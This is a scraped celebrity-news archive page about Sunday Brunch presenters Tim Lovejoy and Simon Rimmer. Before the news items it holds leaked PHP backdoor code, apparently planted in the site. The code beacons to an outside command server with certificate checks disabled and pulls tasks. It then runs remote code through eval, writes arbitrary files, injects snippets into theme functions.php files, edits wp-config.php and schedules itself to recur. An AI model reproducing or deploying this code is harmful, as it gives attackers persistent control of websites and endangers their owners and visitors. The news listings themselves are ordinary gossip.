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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Lovejoy – Brief News

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11 APR

Tim Lovejoy branded ‘idiot’ by Sunday Brunch guest as fans mock appearance ‘Take it off!’

A third tweeted: “Tim Lovejoy channelling his inner Starsky on Sunday Brunch today #SundayBrunch.” “Dear Tim … What on earth is that cardigan all about #SundayBrunch,” someone else added. “What is Tim wearing, he’s taken lockdown hard when he is wearing his slouchy clothes on tv #sundaybrunch,” a fifth remarked.  However, some viewers were fans […]

01 NOV

Tim Lovejoy and Simon Rimmer speechless as Sunday Brunch guest derails show with innuendo

However, when Tim said he took a daily cold shower for his wellbeing, Conor joked he took one “for different reasons”. The joke left the studio in silence as none of the guests or presenters knew how to address the innuendo. Eventually, Jack broke the ice as he joked he thought he’d be the one […]

16 AUG

Tim Lovejoy walks off Sunday Brunch as Simon Rimmer forced to step in: ‘Leave you to it!’

“Boy, oh boy,” he added. “That was rough for Man City fans, my heart goes out to all the folks.” Jason was referencing Man City’s quarter-final loss at the hands of Lyon last night, which brought an impressed reaction from Tim and Simon. “Great knowledge, Jason. Well done,” said Tim, while Simon added: “We should […]

02 AUG

Sunday Brunch’s Tim Lovejoy in swipe at MasterChef’s Gregg and John: ‘What do they know?’

“Simon’s had a bit of a problem with the knitting community. He fell out with them on this show,” explained Tim. As the discussion went on, Tim asked for viewers to send in their own creations, to which he got a flurry of responses. “Simon here hates knitters… we just saw these pictures and he […]

24 MAY

Tim Lovejoy shuts down Sunday Brunch guest over Dominic Cummings jibe: ‘Wrong channel’

Speaking with the host about all things Bake Off: The Professionals which returns next week, the comedian said: “Isn’t it nice to be out and about? “To be free to come to the studio today, oh I felt like Dominic Cummings,” he jibed, with Tim awkwardly laughing off the statement. “It was so nice to […]

03 MAY

Sunday Brunch viewers confused by Tim Lovejoy segment: ‘Making me feel uncomfortable’

Tim, 52, and Simon Rimmer, 56, were on hand to host another instalment of Sunday Brunch today, presenting the show from their homes via pre-recorded video links. With viewers of the Channel 4 programme still living in lockdown, the stars of the programme wanted to give those watching at home some ideas about what they […]

12 APR

Sunday Brunch thrown into chaos as Tim Lovejoy goes ‘missing’ forcing Simon to host solo

The hosts have done the best that they can with the technology they have been given, but something else had the viewers distracted today.  Simon showed the audience how to create an Easter lamb salad today and fans were left baffled by the host’s kitchen.  One viewer said: “So Simon hasn’t really got a pandemic […]

24 MAR

Sunday Brunch: 'Stop looking at me!' Tim Lovejoy hits out at guests over AWKWARD blunder

Tim, 50, was on hand to help Simon, 55, as Sunday Brunch returned this morning on Channel 4, with the pair joined by singer-songwriter Maverick Sabre in the studio kitchen. Watching on as the presenters gave a cooking demonstration, several other guests including comedian Jimmy Carr, 46, and Derry Girls actresses Saoirse-Monica Jackson and Siobhan […]

02 DEC

Sunday Brunch: ‘I’m blushing’ Tim Lovejoy forced to apologise for epic blunder

Sunday Brunch was hosted by Tim Lovejoy and Simon Rimmer this morning and they were joined by a variety of celebrity guests.  However, following a short ad break, Tim was forced to apologise to one of his guests for incorrectly pronouncing their name.  “Welcome back to Sunday Brunch live, we’re cooking with Katherine Jenkins,” Tim […]

25 MAR

Sunday Brunch: Tim Lovejoy forced to step in as Tracy-Ann Oberman suffers major blunder

During the Channel 4 show, hosts Simon Rimmer and Tim Lovejoy were joined by guest Tracy-Ann Oberman. The former Eastenders star, who played Chrissie Watts, was telling the presenters a story during a cooking segment when she was suddenly cut off. Tracy was oblivious to the glitch until Tim interrupted and call for a new […]